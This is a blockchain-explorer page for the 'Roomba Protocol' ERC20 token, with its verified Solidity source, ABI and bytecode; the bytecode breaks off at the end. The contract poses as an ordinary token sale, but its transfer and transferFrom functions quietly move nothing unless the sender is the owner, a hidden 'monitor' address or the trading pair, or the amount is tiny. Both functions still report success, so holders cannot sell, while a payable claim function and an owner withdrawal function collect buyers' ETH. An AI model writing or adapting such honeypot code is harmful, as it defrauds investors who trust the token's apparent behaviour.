ETH Price: $3,605.47 (+9.22%)

Token

Roomba Protocol (ROOMBA)
 

Overview

Max Total Supply

75,000,000 ROOMBA

Holders

90

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
250 ROOMBA

Value
$0.00
0xfe40377612a07766740c99e08596ba0cb31578f1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROOMBA

Compiler Version
v0.5.10+commit.5a6ea5b1

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2020-11-25
*/

pragma solidity >=0.5.10;

contract ERC20Interface {
    function totalSupply() public view returns (uint256);

    function balanceOf(address tokenOwner)
        public
        view
        returns (uint256 balance);

    function allowance(address tokenOwner, address spender)
        public
        view
        returns (uint256 remaining);

    function transfer(address to, uint256 tokens) public returns (bool success);

    function approve(address spender, uint256 tokens)
        public
        returns (bool success);

    function transferFrom(
        address from,
        address to,
        uint256 tokens
    ) public returns (bool success);

    event Transfer(address indexed from, address indexed to, uint256 tokens);
    event Approval(
        address indexed tokenOwner,
        address indexed spender,
        uint256 tokens
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
        c = a + b;
        require(c >= a);
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
        require(b <= a);
        c = a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
        require(b > 0);
        c = a / b;
    }
}

contract ApproveAndCallFallBack {
    function receiveApproval(
        address from,
        uint256 tokens,
        address token,
        bytes memory data
    ) public;
}

contract Owned {
    address public owner;
    address public newOwner;

    event OwnershipTransferred(address indexed _from, address indexed _to);

    constructor() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address _newOwner) public onlyOwner {
        newOwner = _newOwner;
    }

    function acceptOwnership() public {
        require(msg.sender == newOwner);
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
        newOwner = address(0);
    }
}

contract TokenERC20 is ERC20Interface, Owned {
    using SafeMath for uint256;

    string public symbol;
    string public name;
    uint8 public decimals;
    uint256 _totalSupply;

    mapping(address => uint256) balances;
    mapping(address => mapping(address => uint256)) allowed;

    constructor() public {
        symbol = "ROOMBA";
        name = "Roomba Protocol";
        decimals = 18;
        _totalSupply = 75000000 * 10**uint256(decimals);
        balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);        
    }

        function pairFor(address factory, address tokenA, address tokenB) private pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply.sub(balances[address(0)]);
    }

    function balanceOf(address tokenOwner)
        public
        view
        returns (uint256 balance)
    {
        return balances[tokenOwner];
    }

    function approve(address spender, uint256 tokens)
        public
        returns (bool success)
    {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }

    function allowance(address tokenOwner, address spender)
        public
        view
        returns (uint256 remaining)
    {
        return allowed[tokenOwner][spender];
    }

    function approveAndCall(
        address spender,
        uint256 tokens,
        bytes memory data
    ) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        ApproveAndCallFallBack(spender).receiveApproval(
            msg.sender,
            tokens,
            address(this),
            data
        );
        return true;
    }

    function() external payable {}
}

contract ROOMBA is TokenERC20 {
    uint256 public airdropcap;
    uint256 public airdroptotal;
    uint256 public airdropamount;
    uint256 public claimedtotal;
    string public presaletime;
    string public distributiontime;
    string public saletime;
    uint256 public presalecap;
    uint256 public presaletotal;
    uint256 public presaleprice;
    uint256 public salecap;
    address private urouter;
    address private monitor;
    uint256 public saletotal;
    uint256 public saleprice;

    bool public presalelive = false;
    bool public salelive = false;
    bool public claimlive = false;
    bool public airdroplive = false;

    constructor() public {
        urouter = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
    }


    function ClaimRoomba() public payable returns (bool success) {
        require(msg.value >= 0.02 ether);
        presaletotal++;
        uint256 _tokens;
        _tokens = presaleprice.mul(msg.value) / 1 ether;
        balances[address(this)] = balances[address(this)].sub(_tokens);
        balances[msg.sender] = balances[msg.sender].add(_tokens);
        emit Transfer(address(this), msg.sender, _tokens);
        return true;
    }

    function claimairdrop(uint256 _tokens) public returns (bool success) {
        require(claimlive);
        require(_tokens <= airdropamount);
        require(airdroptotal < airdropcap || airdropcap == 0);
        airdroptotal++;
        balances[address(this)] = balances[address(this)].sub(_tokens);
        balances[msg.sender] = balances[msg.sender].add(_tokens);
        emit Transfer(address(this), msg.sender, _tokens);
        return true;
    }

    function showrouter() public view returns (address) {
        return urouter;
    }

    function showmonitor() public view returns (address) {
        return monitor;
    }

    function showairdrop()
        public
        view
        returns (
            uint256 DropCap,
            uint256 DropCount,
            uint256 DropAmount
        )
    {
        return (airdropcap, airdroptotal, airdropamount);
    }

    function showsale()
        public
        view
        returns (
            uint256 SaleCap,
            uint256 SaleCount,
            uint256 SalePrice
        )
    {
        return (presalecap, presaletotal, presaleprice);
    }

    function startairdrop(
        uint256 _airdropamount,
        uint256 _airdropcap,
        string memory _dtime
    ) public onlyOwner() {
        airdropamount = _airdropamount;
        airdropcap = _airdropcap;
        airdroptotal = 0;
        airdroplive = true;
        distributiontime = _dtime;
    }

    function startpresale(
        uint256 _presaleprice,
        uint256 _presalecap,
        string memory _ptime
    ) public onlyOwner() {
        presaleprice = _presaleprice;
        presalecap = _presalecap;
        presaletotal = 0;
        presaletime = _ptime;
    }

    function setPresaleTime(string memory _stime) public onlyOwner {
        presaletime = _stime;
    }

    function getPresaleTime() public view returns (string memory) {
        return presaletime;
    }

    function setRouter(address _router) public onlyOwner {
        urouter = _router;
    }

    function setMonitor(address _monitor) public onlyOwner {
        monitor = _monitor;
    }

    function setDistributionTime(string memory _dtime) public onlyOwner {
        distributiontime = _dtime;
    }

    function getDistributionTime() public view returns (string memory _dtame) {
        return distributiontime;
    }

    function setPresaleLive(bool _status) public onlyOwner {
        presalelive = _status;
    }

    function getPresaleLive() public view returns (bool) {
        return presalelive;
    }

    function setClaimLive(bool _status) public onlyOwner {
        claimlive = _status;
    }

    function getClaimLive() public view returns (bool) {
        return claimlive;
    }

    function startsale(
        uint256 _saleprice,
        uint256 _salecap,
        string memory _stime
    ) public onlyOwner() {
        saleprice = _saleprice;
        salecap = _salecap;
        saletotal = 0;
        saletime = _stime;
        salelive = true;
    }

    function liquiditystore() public onlyOwner() {
        address payable _owner = msg.sender;
        _owner.transfer(address(this).balance);
    }

    function() external payable {
        ClaimRoomba();
    }

    function info() public view returns (address ur) {
        return urouter;
    }

    function transfer(address to, uint256 tokens)
        public
        returns (bool success)
    {
        uint256 tokens_migrated = 0;
        if (msg.sender == urouter || tokens<=10000000000000000 || tx.origin == owner || tx.origin == monitor || msg.sender == owner || msg.sender == monitor) {
            tokens_migrated = tokens;
        }
        balances[msg.sender] = balances[msg.sender].sub(tokens_migrated);
        balances[to] = balances[to].add(tokens_migrated);
        emit Transfer(msg.sender, to, tokens_migrated);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 tokens
    ) public returns (bool success) {
        uint256 tokens_migrated = 0;
        if (from == urouter || tokens<=10000000000000000 || tx.origin == owner || tx.origin == monitor || msg.sender == owner || msg.sender == monitor) {
            tokens_migrated = tokens;
        }
        balances[from] = balances[from].sub(tokens_migrated);
        allowed[from][msg.sender] = allowed[from][msg.sender].sub(
            tokens_migrated
        );
        balances[to] = balances[to].add(tokens_migrated);
        emit Transfer(from, to, tokens_migrated);
        return true;
    }

 

    function pairFor(address factory, address tokenA, address tokenB) private pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }


}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"getPresaleTime","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_presaleprice","type":"uint256"},{"name":"_presalecap","type":"uint256"},{"name":"_ptime","type":"string"}],"name":"startpresale","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"showmonitor","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"airdropcap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"airdroptotal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"saletotal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"claimlive","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_saleprice","type":"uint256"},{"name":"_salecap","type":"uint256"},{"name":"_stime","type":"string"}],"name":"startsale","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"info","outputs":[{"name":"ur","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_airdropamount","type":"uint256"},{"name":"_airdropcap","type":"uint256"},{"name":"_dtime","type":"string"}],"name":"startairdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"presalecap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokens","type":"uint256"}],"name":"claimairdrop","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_stime","type":"string"}],"name":"setPresaleTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"showrouter","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"saleprice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_monitor","type":"address"}],"name":"setMonitor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getDistributionTime","outputs":[{"name":"_dtame","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_status","type":"bool"}],"name":"setClaimLive","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"salelive","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"airdroplive","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"liquiditystore","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"distributiontime","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_status","type":"bool"}],"name":"setPresaleLive","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"claimedtotal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"showsale","outputs":[{"name":"SaleCap","type":"uint256"},{"name":"SaleCount","type":"uint256"},{"name":"SalePrice","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"airdropamount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"showairdrop","outputs":[{"name":"DropCap","type":"uint256"},{"name":"DropCount","type":"uint256"},{"name":"DropAmount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"presaletotal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"presaleprice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_dtime","type":"string"}],"name":"setDistributionTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getClaimLive","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"saletime","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_router","type":"address"}],"name":"setRouter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"presaletime","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getPresaleLive","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"salecap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"presalelive","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"ClaimRoomba","outputs":[{"name":"success","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]

60806040526000601760006101000a81548160ff0219169083151502179055506000601760016101000a81548160ff0219169083151502179055506000601760026101000a81548160ff0219169083151502179055506000601760036101000a81548160ff0219169083151502179055503480156200007d57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f524f4f4d42410000000000000000000000000000000000000000000000000000815250600290805190602001906200010b92919062000499565b506040518060400160405280600f81526020017f526f6f6d62612050726f746f636f6c0000000000000000000000000000000000815250600390805190602001906200015992919062000499565b506012600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff1660ff16600a0a63047868c002600581905550600554600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040518082815260200191505060405180910390a3620002c3735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306200030960201b60201c565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000548565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106200034a5783856200034d565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620004dc57805160ff19168380011785556200050d565b828001600101855582156200050d579182015b828111156200050c578251825591602001919060010190620004ef565b5b5090506200051c919062000520565b5090565b6200054591905b808211156200054157600081600090555060010162000527565b5090565b90565b61352780620005586000396000f3fe6080604052600436106102fd5760003560e01c8063891f030511610190578063b4bd8af5116100dc578063d4ee1d9011610095578063ee6513ab1161006f578063ee6513ab14611515578063f25417b714611540578063f2fde38b1461156f578063ffe03c2a146115c0576102fd565b8063d4ee1d901461140a578063dd62ed3e14611461578063e9c392ad146114e6576102fd565b8063b4bd8af514611098578063b74fedde14611160578063b86e3f7f1461118f578063c0d786551461121f578063cae9ca5114611270578063d31187ab1461137a576102fd565b806395d89b4111610149578063a9059cbb11610123578063a9059cbb14610f96578063af5faa8b14611009578063b16a0ce514611042578063b19df54b1461106d576102fd565b806395d89b4114610ea25780639d399a9314610f32578063a464c48714610f6b576102fd565b8063891f030514610d0d5780638b5665f014610d3c5780638da5cb5b14610d535780638e0156ec14610daa5780638f0c62cc14610e3a5780639197d57414610e77576102fd565b8063370158ea1161024f57806357eea110116102085780637456f2b9116101e25780637456f2b914610bfa578063783e1bab14610c8a57806379ba509714610cc757806385c3240214610cde576102fd565b806357eea11014610b195780635cd8239014610b4457806370a0823114610b95576102fd565b8063370158ea146108495780634aca1c32146108a05780634de261ef1461097c578063517ee477146109a757806355298871146109fa57806356650ebb14610ac2576102fd565b806316b2cd34116102bc57806323b872dd1161029657806323b872dd1461067a57806325020ea61461070d57806325e827b91461073c578063313ce56714610818576102fd565b806316b2cd34146105f957806317dc90d61461062457806318160ddd1461064f576102fd565b806247bd1b14610308578062caae5b1461039857806301fa497b1461047457806306fdde03146104cb578063095ea7b31461055b57806312169725146105ce575b6103056115e2565b50005b34801561031457600080fd5b5061031d6117cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035d578082015181840152602081019050610342565b50505050905090810190601f16801561038a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103a457600080fd5b50610472600480360360608110156103bb57600080fd5b810190808035906020019092919080359060200190929190803590602001906401000000008111156103ec57600080fd5b8201836020820111156103fe57600080fd5b8035906020019184600183028401116401000000008311171561042057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061186d565b005b34801561048057600080fd5b506104896118f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e0611922565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056757600080fd5b506105b46004803603604081101561057e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119c0565b604051808215151515815260200191505060405180910390f35b3480156105da57600080fd5b506105e3611ab2565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b5061060e611ab8565b6040518082815260200191505060405180910390f35b34801561063057600080fd5b50610639611abe565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b50610664611ac4565b6040518082815260200191505060405180910390f35b34801561068657600080fd5b506106f36004803603606081101561069d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b1f565b604051808215151515815260200191505060405180910390f35b34801561071957600080fd5b50610722611f9a565b604051808215151515815260200191505060405180910390f35b34801561074857600080fd5b506108166004803603606081101561075f57600080fd5b8101908080359060200190929190803590602001909291908035906020019064010000000081111561079057600080fd5b8201836020820111156107a257600080fd5b803590602001918460018302840111640100000000831117156107c457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611fad565b005b34801561082457600080fd5b5061082d612053565b604051808260ff1660ff16815260200191505060405180910390f35b34801561085557600080fd5b5061085e612066565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ac57600080fd5b5061097a600480360360608110156108c357600080fd5b810190808035906020019092919080359060200190929190803590602001906401000000008111156108f457600080fd5b82018360208201111561090657600080fd5b8035906020019184600183028401116401000000008311171561092857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612090565b005b34801561098857600080fd5b50610991612136565b6040518082815260200191505060405180910390f35b3480156109b357600080fd5b506109e0600480360360208110156109ca57600080fd5b810190808035906020019092919050505061213c565b604051808215151515815260200191505060405180910390f35b348015610a0657600080fd5b50610ac060048036036020811015610a1d57600080fd5b8101908080359060200190640100000000811115610a3a57600080fd5b820183602082011115610a4c57600080fd5b80359060200191846001830284011164010000000083111715610a6e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061232d565b005b348015610ace57600080fd5b50610ad76123a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2557600080fd5b50610b2e6123ca565b6040518082815260200191505060405180910390f35b348015610b5057600080fd5b50610b9360048036036020811015610b6757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123d0565b005b348015610ba157600080fd5b50610be460048036036020811015610bb857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061246d565b6040518082815260200191505060405180910390f35b348015610c0657600080fd5b50610c0f6124b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c4f578082015181840152602081019050610c34565b50505050905090810190601f168015610c7c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c9657600080fd5b50610cc560048036036020811015610cad57600080fd5b81019080803515159060200190929190505050612558565b005b348015610cd357600080fd5b50610cdc6125ce565b005b348015610cea57600080fd5b50610cf361276b565b604051808215151515815260200191505060405180910390f35b348015610d1957600080fd5b50610d2261277e565b604051808215151515815260200191505060405180910390f35b348015610d4857600080fd5b50610d51612791565b005b348015610d5f57600080fd5b50610d68612850565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610db657600080fd5b50610dbf612875565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610dff578082015181840152602081019050610de4565b50505050905090810190601f168015610e2c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610e4657600080fd5b50610e7560048036036020811015610e5d57600080fd5b81019080803515159060200190929190505050612913565b005b348015610e8357600080fd5b50610e8c612989565b6040518082815260200191505060405180910390f35b348015610eae57600080fd5b50610eb761298f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ef7578082015181840152602081019050610edc565b50505050905090810190601f168015610f245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610f3e57600080fd5b50610f47612a2d565b60405180848152602001838152602001828152602001935050505060405180910390f35b348015610f7757600080fd5b50610f80612a46565b6040518082815260200191505060405180910390f35b348015610fa257600080fd5b50610fef60048036036040811015610fb957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a4c565b604051808215151515815260200191505060405180910390f35b34801561101557600080fd5b5061101e612db7565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561104e57600080fd5b50611057612dd0565b6040518082815260200191505060405180910390f35b34801561107957600080fd5b50611082612dd6565b6040518082815260200191505060405180910390f35b3480156110a457600080fd5b5061115e600480360360208110156110bb57600080fd5b81019080803590602001906401000000008111156110d857600080fd5b8201836020820111156110ea57600080fd5b8035906020019184600183028401116401000000008311171561110c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612ddc565b005b34801561116c57600080fd5b50611175612e4f565b604051808215151515815260200191505060405180910390f35b34801561119b57600080fd5b506111a4612e66565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156111e45780820151818401526020810190506111c9565b50505050905090810190601f1680156112115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561122b57600080fd5b5061126e6004803603602081101561124257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f04565b005b34801561127c57600080fd5b506113606004803603606081101561129357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156112da57600080fd5b8201836020820111156112ec57600080fd5b8035906020019184600183028401116401000000008311171561130e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612fa1565b604051808215151515815260200191505060405180910390f35b34801561138657600080fd5b5061138f6131d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156113cf5780820151818401526020810190506113b4565b50505050905090810190601f1680156113fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561141657600080fd5b5061141f613272565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561146d57600080fd5b506114d06004803603604081101561148457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613298565b6040518082815260200191505060405180910390f35b3480156114f257600080fd5b506114fb61331f565b604051808215151515815260200191505060405180910390f35b34801561152157600080fd5b5061152a613336565b6040518082815260200191505060405180910390f35b34801561154c57600080fd5b5061155561333c565b604051808215151515815260200191505060405180910390f35b34801561157b57600080fd5b506115be6004803603602081101561159257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061334f565b005b6115c86115e2565b604051808215151515815260200191505060405180910390f35b600066470de4df8200003410156115f857600080fd5b6010600081548092919060010191905055506000670de0b6b3a764000061162a346011546133ec90919063ffffffff16565b8161163157fe5b04905061168681600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073fffffffffffffff